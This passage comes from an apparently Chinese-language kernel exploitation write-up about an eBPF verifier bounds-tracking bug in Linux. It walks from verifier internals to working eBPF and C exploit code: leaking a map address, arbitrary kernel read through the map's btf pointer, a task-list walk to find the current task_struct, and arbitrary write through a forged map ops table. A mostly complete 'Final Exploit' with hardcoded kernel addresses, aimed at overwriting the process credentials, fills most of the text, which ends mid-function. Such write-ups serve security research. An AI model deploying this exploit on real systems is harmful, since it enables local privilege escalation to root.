if (dst_reg->type != SCALAR_VALUE)
ptr_reg = dst_reg;
else
/* Make sure ID is cleared otherwise dst_reg min/max could be
* incorrectly propagated into other registers by find_equal_scalars()
*/
dst_reg->id = 0;
if (BPF_SRC(insn->code) == BPF_X) {
src_reg = &regs[insn->src_reg];
if (src_reg->type != SCALAR_VALUE) {
//...
} else if (ptr_reg) {
/* pointer += scalar */
err = mark_chain_precision(env, insn->src_reg);
if (err)
return err;
return adjust_ptr_min_max_vals(env, insn,
dst_reg, src_reg);
}
}

而在 adjust_ptr_min_max_vals() 当中有这样一个逻辑:如果源寄存器的边界存在 smin_val > smax_val || umin_val > umax_val 的情况,则直接将目的寄存器设为 unknown

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
struct bpf_verifier_state *vstate = env->cur_state;
struct bpf_func_state *state = vstate->frame[vstate->curframe];
struct bpf_reg_state *regs = state->regs, *dst_reg;
bool known = tnum_is_const(off_reg->var_off);
s64 smin_val = off_reg->smin_value, smax_val = off_reg->smax_value,
smin_ptr = ptr_reg->smin_value, smax_ptr = ptr_reg->smax_value;
u64 umin_val = off_reg->umin_value, umax_val = off_reg->umax_value,
umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;
u32 dst = insn->dst_reg, src = insn->src_reg;
u8 opcode = BPF_OP(insn->code);
int ret;

dst_reg = &regs[dst];

if ((known && (smin_val != smax_val || umin_val != umax_val)) ||
smin_val > smax_val || umin_val > umax_val) {
/* Taint dst register if offset had invalid bounds derived from
* e.g. dead branches.
*/
__mark_reg_unknown(env, dst_reg);
return 0;
}
//...

__mark_reg_unknown() 则会直接将寄存器设为标量值类型,这样的值可以直接存入 map 而不会被 verifier 限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void __mark_reg_unknown(const struct bpf_verifier_env *env,
struct bpf_reg_state *reg)
{
/*
* Clear type, id, off, and union(map_ptr, range) and
* padding between 'type' and union
*/
memset(reg, 0, offsetof(struct bpf_reg_state, var_off));
reg->type = SCALAR_VALUE;
reg->var_off = tnum_unknown;
reg->frameno = 0;
reg->precise = env->subprog_cnt > 1 || !env->bpf_capable;
__mark_reg_unbounded(reg);
}

由此我们便可以通过将指针寄存器与一个漏洞寄存器进行算术运算来绕过这个限制,从而泄露出 map 的地址,需要注意的是我们的漏洞寄存器的第 33 位是 unknown 的,我们需要将其进行截断以消去

我们应当尽量减少截断时 verifier 对寄存器的跟踪,因此这里直接用 mov ,如果使用 and 0xffffffff 这样的操作则没法消除掉 unknown 位,少 and 几位则会导致寄存器边界值和 var_off 重新更新

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define LEAK_MAP_ADDR(__map_fd)                         \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7), \
BPF_MOV32_REG(VULN_REG, VULN_REG), \
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, VULN_REG), \
BPF_READ_ARRAY_MAP_IDX(1, __map_fd, BPF_REG_8), \
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0)

int leak_map_addr(int map_fd)
{
struct bpf_insn prog[] = {
TRIGGER_VULN(map_fd),
LEAK_MAP_ADDR(map_fd),
BPF_EXIT_INSN()
};

return run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0);
}

这里需要注意我们获得的地址是指向 bpf_array.value 的,需要自行计算偏移:

image.png

这里我们可以注意到 bpf_map 并不在 direct mapping area 上,应该是调用了 vmalloc,笔者推测可能是因为我们分配的 map 太大的缘故:)

四、任意地址读,泄露进程地址

接下来我们考虑如何完成任意地址读,由于我们能够读写 bpf_map 中的数据,故考虑从此处下手:)

BPF Type Format(BTF)是一种元数据格式,用于给 eBPF 提供一些额外的信息,在内核中使用 btf 结构体表示一条 btf 信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct btf {
void *data;
struct btf_type **types;
u32 *resolved_ids;
u32 *resolved_sizes;
const char *strings;
void *nohdr_data;
struct btf_header hdr;
u32 nr_types; /* includes VOID for base BTF */
u32 types_size;
u32 data_size;
refcount_t refcnt;
u32 id;
struct rcu_head rcu;

/* split BTF support */
struct btf *base_btf;
u32 start_id; /* first type ID in this BTF (0 for base BTF) */
u32 start_str_off; /* first string offset (0 for base BTF) */
char name[MODULE_NAME_LEN];
bool kernel_btf;
};

注意到在 bpf_map 当中刚好有一个指向 struct btf 的指针:

1
2
3
struct bpf_map {
//...
struct btf *btf;

bpf_map->btf 在什么时候会被访问到?注意到 bpf 系统调用给我们提供的选项中有一个为 BPF_OBJ_GET_INFO_BY_FD

1
2
3
4
5
6
7
8
9
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
//...

switch (cmd) {
//...
case BPF_OBJ_GET_INFO_BY_FD:
err = bpf_obj_get_info_by_fd(&attr, uattr);
break;

对于 map 类型而言最终会调用到 bpf_map_get_info_by_fd() ,在该函数中会把 bpf_map->btf.id 拷贝给用户空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
static int bpf_map_get_info_by_fd(struct file *file,
struct bpf_map *map,
const union bpf_attr *attr,
union bpf_attr __user *uattr)
{
//...

if (map->btf) {
info.btf_id = btf_obj_id(map->btf);
info.btf_key_type_id = map->btf_key_type_id;
info.btf_value_type_id = map->btf_value_type_id;
}
//...

if (copy_to_user(uinfo, &info, info_len) ||
put_user(info_len, &uattr->info.info_len))
return -EFAULT;

return 0;
}

static int bpf_obj_get_info_by_fd(const union bpf_attr *attr,
union bpf_attr __user *uattr)
{
int ufd = attr->info.bpf_fd;
struct fd f;
int err;

if (CHECK_ATTR(BPF_OBJ_GET_INFO_BY_FD))
return -EINVAL;

f = fdget(ufd);
if (!f.file)
return -EBADFD;

if (f.file->f_op == &bpf_prog_fops)
err = bpf_prog_get_info_by_fd(f.file, f.file->private_data, attr,
uattr);
else if (f.file->f_op == &bpf_map_fops)
err = bpf_map_get_info_by_fd(f.file, f.file->private_data, attr,
uattr);

我们不难想到的是我们可以通过控制 btf 指针的方式完成任意地址读,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#define READ_ARBITRARY_ADDR(__map_fd, __idx)            \
/* extend the alu->limit and do the oob read */ \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7), \
BPF_MOV64_REG(BPF_REG_8, VULN_REG), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000), \
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0xd0), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
/* write the value into bpf_map->btf */ \
BPF_READ_ARRAY_MAP_IDX(__idx, __map_fd, BPF_REG_8), \
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 0), \
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 0x58), \
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_1, 0)

static size_t read_arbitrary_addr_4_bytes(int map_fd, int idx)
{
struct bpf_insn prog[] = {
TRIGGER_VULN(map_fd),
MAKE_VULN_REG(map_fd),
READ_ARBITRARY_ADDR(map_fd, idx),
BPF_EXIT_INSN()
};
struct bpf_map_info info;
union bpf_attr attr = {
.info.bpf_fd = map_fd,
.info.info_len = sizeof(info),
.info.info = (uint64_t) &info,
};
size_t data;
int ret;

ret = run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1);
if (ret < 0) {
return 0;
}

memset(&info, 0, sizeof(info));
ret = bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
if (ret < 0) {
return 0;
}

data = info.btf_id;

return data;
}

size_t read_arbitrary_addr(int map_fd, size_t addr)
{
size_t data;
int key;
size_t value[0x1000];

puts("[*] Loading value into map...");
key = 1;
value[0] = addr;
if (bpf_map_update_elem(map_fd, &key, &value, 0) < 0) {
err_exit("FAILED to load value into map!");
}
key = 2;
value[0] = addr + 4;
if (bpf_map_update_elem(map_fd, &key, &value, 0) < 0) {
err_exit("FAILED to load value into map!");
}

data = read_arbitrary_addr_4_bytes(map_fd, 2);
data <<= 32;
data += read_arbitrary_addr_4_bytes(map_fd, 1);

return data;
}

不过由于我们目前暂时不知道 page_offset_base ,因此暂时无法完成对所有物理内存搜索的工作,而只能读取内核镜像范围的内存

但是 init 进程的 PCB init_task 位于内核数据段上,init_task 的地址对我们来说是可知的,而所有进程在内核中的 PCB 构成一个双向链表,因此我们可以直接沿着这个双向链表搜索我们的进程控制块,判断是否搜索到的方法有很多,比如说对比 pid 一类的,这里笔者选择用 prctl(PR_SET_NAME, "arttnba3") 来设置 task_struct->comm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
size_t current_task;

size_t search_for_current_task(int map_fd)
{
size_t next_task = INIT_TASK + kernel_offset + 0x818;
size_t data;

prctl(PR_SET_NAME, "arttnba3");

do {
next_task = read_arbitrary_addr(map_fd, next_task);
data = read_arbitrary_addr(map_fd, next_task + 0x2d0);
} while (data != *(size_t*) "arttnba3");

current_task = next_task - 0x818;

printf("\033[32m\033[1m[+] Get current task_struct's addr: \033[0m%lx\n",
current_task);
}

成功获得当前进程的 task_struct 地址:

image.png

五、任意地址写

我们同时有 map 的地址和内核基址,同时还能直接改写 map 内部的内容,不难想到的是我们可以直接在 map 上构造 fake map ops 后劫持 map 函数表从而劫持内核控制流

比较传统的方式就是直接栈迁移然后 ROP 执行 commit_cred(&init_cred),但笔者看到一个非常有意思的构造任意写的思路,所以这里也用这种解法(笑)

注意到 array map 的 map_get_next_key() 定义如下,当 key 小于 map.max_entrieskey 会被写入到 next_key 当中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* Called from syscall */
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;

if (index >= array->map.max_entries) {
*next = 0;
return 0;
}

if (index == array->map.max_entries - 1)
return -ENOENT;

*next = index + 1;
return 0;
}

当然对于常规的调用 map_get_next_key() 的流程而言虽然 key 的内容是可控的但是 next_key 指针不是我们所能控制的:

1
2
3
4
5
6
7
8
static int map_get_next_key(union bpf_attr *attr)
{
//...
next_key = kmalloc(map->key_size, GFP_USER);
//...

rcu_read_lock();
err = map->ops->map_get_next_key(map, key, next_key);

但是在 map ops 当中有一些函数可以让我们控制这两个参数,我们可以将这样的函数指针替换为 map_get_next_key() 从而完成任意地址写,例如 map_push_elem()

1
2
3
struct bpf_map_ops {
//...
int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);

当我们更新 eBPF map 时,若 map 类型为 BPF_MAP_TYPE_QUEUEBPF_MAP_TYPE_STACK ,则这个函数会被调用:

1
2
3
4
5
6
7
static int bpf_map_update_value(struct bpf_map *map, struct fd f, void *key,
void *value, __u64 flags)
{
//...
} else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
map->map_type == BPF_MAP_TYPE_STACK) {
err = map->ops->map_push_elem(map, value, flags);

不过在我们调用 bpf_map_update_value() 时还有一个检查,若 flags 设置了 BPF_F_LOCK 标志位,则会检查 map->spin_lock_off 是否大于等于 0,若非则会直接报错返回,因此这里我们还要将该字段改为一个正整数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* flags for BPF_MAP_UPDATE_ELEM command */
enum {
BPF_ANY = 0, /* create new element or update existing */
BPF_NOEXIST = 1, /* create new element if it didn't exist */
BPF_EXIST = 2, /* update existing element */
BPF_F_LOCK = 4, /* spin_lock-ed map_lookup/map_update */
}

static inline bool map_value_has_spin_lock(const struct bpf_map *map)
{
return map->spin_lock_off >= 0;
}

static int map_update_elem(union bpf_attr *attr)
{
//...

if ((attr->flags & BPF_F_LOCK) &&
!map_value_has_spin_lock(map)) {
err = -EINVAL;
goto err_put;
}

//...
err = bpf_map_update_value(map, f, key, value, attr->flags);

最后我们的任意写方案如下:我们可以在 bpf_array.value 上构造一个 fake ops 将 ops->map_push_elem 替换为 array_map_get_next_key() ,之后替换掉 map 的函数表,并更改 map.max_entries0xffffffff 、更改 map 类型为 BPF_MAP_TYPE_STACK 、更改 map.spin_lock_off 为正数来实现任意地址写,需要注意的是单次只能写 4 字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#define MAKE_ARBITRARY_WRITE_OPS(__map_fd)          \
/* extend the alu_limit */ \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7), \
BPF_MOV64_REG(BPF_REG_8, VULN_REG), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000), \
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8), \
BPF_MOV64_REG(BPF_REG_8, VULN_REG), \
/* overwrite spin_lock_off */ \
BPF_MOV64_REG(VULN_REG, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0xE4), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
BPF_MOV64_IMM(BPF_REG_5, 0x2000), \
BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_5, 0), \
/* overwrite max_entries */ \
BPF_MOV64_REG(VULN_REG, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0x8), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
BPF_MOV64_IMM(BPF_REG_5, 0xffffffff), \
BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_5, 0), \
/* overwrite map type */ \
BPF_MOV64_REG(VULN_REG, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0xC), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
BPF_MOV64_IMM(BPF_REG_5, 23), \
BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_5, 0), \
/* overwrite the map->ops */ \
BPF_MOV64_REG(VULN_REG, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0x18), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
BPF_READ_ARRAY_MAP_IDX(2, __map_fd, BPF_REG_4), \
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_4, 0), \
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_5, 0)

size_t fake_ops_addr;

void make_arbitrary_write_ops(int map_fd)
{
struct bpf_insn prog[] = {
TRIGGER_VULN(map_fd),
MAKE_VULN_REG(map_fd),
MAKE_ARBITRARY_WRITE_OPS(map_fd),
BPF_EXIT_INSN()
};
int key;
size_t per_ops_ptr, value[0x1000], value_idx;
struct bpf_map_ops *ops_data;

/* save fake ops addr into map */
fake_ops_addr = map_addr + 0x110 + MAP_SIZE;

/* read ops */
value_idx = 0;
for (size_t i = 0; i < sizeof(struct bpf_map_ops); i += 8) {
per_ops_ptr = read_arbitrary_addr(map_fd, map_ops_addr + i);
value[value_idx++] = per_ops_ptr;
}

/* load ops */
ops_data = (struct bpf_map_ops *) value;
ops_data->map_push_elem = (void*) (ARRAY_MAP_GET_NEXT_KEY + kernel_offset);
key = 1;
if (bpf_map_update_elem(map_fd, &key, &value[0], 0) < 0) {
err_exit("FAILED to look up value!");
}

/* we'll take fake ops's addr from map */
key = 2;
value[0] = fake_ops_addr;
if (bpf_map_update_elem(map_fd, &key, &value[0], 0) < 0) {
err_exit("FAILED to look up value!");
}

/* hijack the map */
run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0);
}

int arbitrary_write_4_bytes_by_map(int map_fd, size_t addr, unsigned int val)
{
size_t value[0x1000];
int key;

key = 0;
value[0] = val - 1;

return bpf_map_update_elem(map_fd, &key, &value[0], addr);
}

Final Exploit

最后的 exp 如下,因为在 array_map_get_next_key() 中会检查 index != max_entries - 1 ,而 init_cred 的高 32 位必定是 0xFFFFFFFF ,因此这里笔者选择直接改写当前进程的 task_struct.cred 的 uid 与 gid 相关字段:

注:这里笔者将常用函数 & 指令封装在了 bpf_tools.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <string.h>
#include <sys/prctl.h>

#include "kernelpwn.h"
#include "bpf_tools.h"

#define ARRAY_MAP_OPS 0xffffffff822363e0
#define ARRAY_MAP_GET_NEXT_KEY 0xffffffff81239c80
#define INIT_TASK 0xffffffff82e1b400
#define INIT_CRED 0xffffffff82e88f20

#define MAP_SIZE 0x2000

#define VULN_REG BPF_REG_6

#define TRIGGER_VULN(__map_fd) \
/* load value into r2, make it part-unknown */ \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_8), \
BPF_LDX_MEM(BPF_DW, VULN_REG, BPF_REG_8, 0), \
BPF_MOV64_IMM(BPF_REG_4, 0xffffffff), \
BPF_ALU64_IMM(BPF_LSH, BPF_REG_4, 32), \
BPF_ALU64_REG(BPF_AND, VULN_REG, BPF_REG_4), \
BPF_ALU64_IMM(BPF_ADD, VULN_REG, 0x1), \
/* r3 = 0x100000002 */ \
BPF_MOV64_IMM(BPF_REG_3, 0x1), \
BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0x2), \
/* triger the vulnerability */ \
BPF_ALU64_REG(BPF_AND, VULN_REG, BPF_REG_3)

#define MAKE_VULN_REG(__map_fd) \
/* load value into r3, make it [0, 1] under 32 bit */ \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_8), \
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), \
BPF_JMP32_IMM(BPF_JLE, BPF_REG_7, 1, 2), \
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_EXIT_INSN(), \
BPF_ALU64_REG(BPF_ADD, VULN_REG, BPF_REG_7), \
BPF_ALU64_IMM(BPF_ADD, VULN_REG, 0x1), \
BPF_ALU64_IMM(BPF_AND, VULN_REG, 0x1), \
BPF_MOV64_IMM(BPF_REG_0, 0)

#define READ_ARBITRARY_ADDR(__map_fd, __idx) \
/* extend the alu->limit and do the oob read */ \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7), \
BPF_MOV64_REG(BPF_REG_8, VULN_REG), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000), \
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0xd0), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
/* write the value into bpf_map->btf */ \
BPF_READ_ARRAY_MAP_IDX(__idx, __map_fd, BPF_REG_8), \
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 0), \
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 0x58), \
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_1, 0)

static size_t read_arbitrary_addr_4_bytes(int map_fd, int idx)
{
struct bpf_insn prog[] = {
TRIGGER_VULN(map_fd),
MAKE_VULN_REG(map_fd),
READ_ARBITRARY_ADDR(map_fd, idx),
BPF_EXIT_INSN()
};
struct bpf_map_info info;
union bpf_attr attr = {
.info.bpf_fd = map_fd,
.info.info_len = sizeof(info),
.info.info = (uint64_t) &info,
};
size_t data;
int ret;

ret = run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0);
if (ret < 0) {
return 0;
}

memset(&info, 0, sizeof(info));
ret = bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
if (ret < 0) {
return 0;
}

data = info.btf_id;

return data;
}

size_t read_arbitrary_addr(int map_fd, size_t addr)
{
size_t data;
int key;
size_t value[0x1000];

key = 1;
value[0] = addr;
if (bpf_map_update_elem(map_fd, &key, &value, 0) < 0) {
err_exit("FAILED to load value into map!");
}
key = 2;
value[0] = addr + 4;
if (bpf_map_update_elem(map_fd, &key, &value, 0) < 0) {
err_exit("FAILED to load value into map!");
}

data = read_arbitrary_addr_4_bytes(map_fd, 2);
data <<= 32;
data += read_arbitrary_addr_4_bytes(map_fd, 1);

return data;
}

size_t current_task, current_cred;

size_t search_for_current_task(int map_fd)
{
size_t next_task = INIT_TASK + kernel_offset + 0x818;
size_t data;

prctl(PR_SET_NAME, "arttnba3");

do {
next_task = read_arbitrary_addr(map_fd, next_task);
data = read_arbitrary_addr(map_fd, next_task + 0x2d0);
} while (data != *(size_t*) "arttnba3");

return next_task - 0x818;
}

#define LEAK_MAP_ADDR(__map_fd) \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7), \
BPF_MOV32_REG(VULN_REG, VULN_REG), \
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, VULN_REG), \
BPF_READ_ARRAY_MAP_IDX(1, __map_fd, BPF_REG_8), \
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0)

size_t map_addr;

int leak_map_addr(int map_fd)
{
struct bpf_insn prog[] = {
TRIGGER_VULN(map_fd),
LEAK_MAP_ADDR(map_fd),
BPF_EXIT_INSN()
};

return run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0);
}

#define LEAK_MAP_OPS(__map_fd) \
/* extend the alu->limit and do the oob read */ \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7), \
BPF_MOV64_REG(BPF_REG_8, VULN_REG), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000), \
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0x110), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), \
/* save the value into map */ \
BPF_READ_ARRAY_MAP_IDX(1, __map_fd, BPF_REG_7), \
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0)

size_t map_ops_addr;

int leak_map_ops_addr(int map_fd)
{
struct bpf_insn prog[] = {
TRIGGER_VULN(map_fd),
MAKE_VULN_REG(map_fd),
LEAK_MAP_OPS(map_fd),
BPF_EXIT_INSN()
};

return run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0);
}

#define MAKE_ARBITRARY_WRITE_OPS(__map_fd) \
/* extend the alu_limit */ \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7), \
BPF_MOV64_REG(BPF_REG_8, VULN_REG), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000), \
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8), \
BPF_MOV64_REG(BPF_REG_8, VULN_REG), \
/* overwrite spin_lock_off */ \
BPF_MOV64_REG(VULN_REG, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0xE4), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
BPF_MOV64_IMM(BPF_REG_5, 0x2000), \
BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_5, 0), \
/* overwrite max_entries */ \
BPF_MOV64_REG(VULN_REG, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0x8), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
BPF_MOV64_IMM(BPF_REG_5, 0xffffffff), \
BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_5, 0), \
/* overwrite map type */ \
BPF_MOV64_REG(VULN_REG, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0xC), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
BPF_MOV64_IMM(BPF_REG_5, 23), \
BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_5, 0), \
/* overwrite the map->ops */ \
BPF_MOV64_REG(VULN_REG, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0x18), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
BPF_READ_ARRAY_MAP_IDX(2, __map_fd, BPF_REG_4), \
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_4, 0), \
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_5, 0)

size_t fake_ops_addr;

void make_arbitrary_write_ops(int map_fd)
{
struct bpf_insn prog[] = {
TRIGGER_VULN(map_fd),
MAKE_VULN_REG(map_fd),
MAKE_ARBITRARY_WRITE_OPS(map_fd),
BPF_EXIT_INSN()
};
int key;
size_t per_ops_ptr, value[0x1000], value_idx;
struct bpf_map_ops *ops_data;

/* save fake ops addr into map */
fake_ops_addr = map_addr + 0x110 + MAP_SIZE;

/* read ops */
value_idx = 0;
for (size_t i = 0; i < sizeof(struct bpf_map_ops); i += 8) {
per_ops_ptr = read_arbitrary_addr(map_fd, map_ops_addr + i);
value[value_idx++] = per_ops_ptr;
}

/* load ops */
ops_data = (struct bpf_map_ops *) value;
ops_data->map_push_elem = (void*) (ARRAY_MAP_GET_NEXT_KEY + kernel_offset);
key = 1;
if (bpf_map_update_elem(map_fd, &key, &value[0], 0) < 0) {
err_exit("FAILED to look up value!");
}

/* we'll take fake ops's addr from map */
key = 2;
value[0] = fake_ops_addr;
if (bpf_map_update_elem(map_fd, &key, &value[0], 0) < 0) {
err_exit("FAILED to look up value!");
}

/* hijack the map */
run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0);
}

int arbitrary_write_4_bytes_by_map(int map_fd, size_t addr, unsigned int val)
{
size_t value[0x1000];
int key;

key = 0;
value[0] = val - 1;

return bpf_map_update_elem(map_fd, &key, &value[0], addr);
}

#define READ_MAP_DATA(__map_fd, __off) \
/* extend the alu->limit and do the oob read */ \
BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7), \
BPF_MOV64_REG(BPF_REG_8, VULN_REG), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000), \
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8), \
BPF_ALU64_IMM(BPF_MUL, VULN_REG, __off), \
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG), \
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), \
/* save the value into map */ \
BPF_READ_ARRAY_MAP_IDX(1, __map_fd, BPF_REG_7), \
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0)

/* for debug only */
void read_map_data(int map_fd)
{
size_t map_data[0x100];
